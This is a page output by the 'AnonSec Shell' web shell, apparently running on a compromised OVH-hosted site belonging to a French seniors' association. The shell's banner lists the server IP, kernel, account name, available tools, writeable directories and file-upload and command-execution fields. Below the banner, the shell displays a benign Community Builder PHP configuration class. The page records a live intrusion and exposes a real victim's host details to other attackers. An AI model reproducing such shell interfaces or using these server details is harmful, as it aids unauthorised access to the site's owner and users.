AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/previous-website/06/libraries/CBLib/CBLib/Application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/previous-website/06/libraries/CBLib/CBLib/Application/Config.php
<?php
/**
* CBLib, Community Builder Library(TM)
* @version $Id: 19.06.13 18:45 $
* @package CBLib
* @copyright (C) 2004-2023 www.joomlapolis.com / Lightning MultiCom SA - and its licensors, all rights reserved
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2
*/

namespace CBLib\Application;

use CBLib\Registry\Registry;
use CBLib\Registry\RegistryInterface;

defined('CBLIB') or die();

/**
 * CBLib\Config Class implementation
 * 
 */
class Config extends Registry
{
	/**
	 * @var self
	 */
	static $mainConfig	=	null;

	/**
	 * @param  callable|array|RegistryInterface  $config  Configuration
	 * @param  Application                       $app     Application for the config callable parameter, if callable
	 * @return Config
	 *
	 * @throws \UnexpectedValueException
	 */
	public static function setMainConfig( $config, Application $app )
	{
		while ( is_callable( $config ) ) {
			$config					=	call_user_func_array( $config, array( $app ) );
		}

		if ( is_array( $config ) ) {
			static::$mainConfig		=	new static( $config );
		} elseif ( is_object( $config ) ) {
			if ( $config instanceof RegistryInterface ) {
				static::$mainConfig	=	$config;
			} else {
				throw new \UnexpectedValueException('Unexpected type for config parameter');
			}
		}
		return static::$mainConfig;
	}
}

Anon7 - 2022
AnonSec Team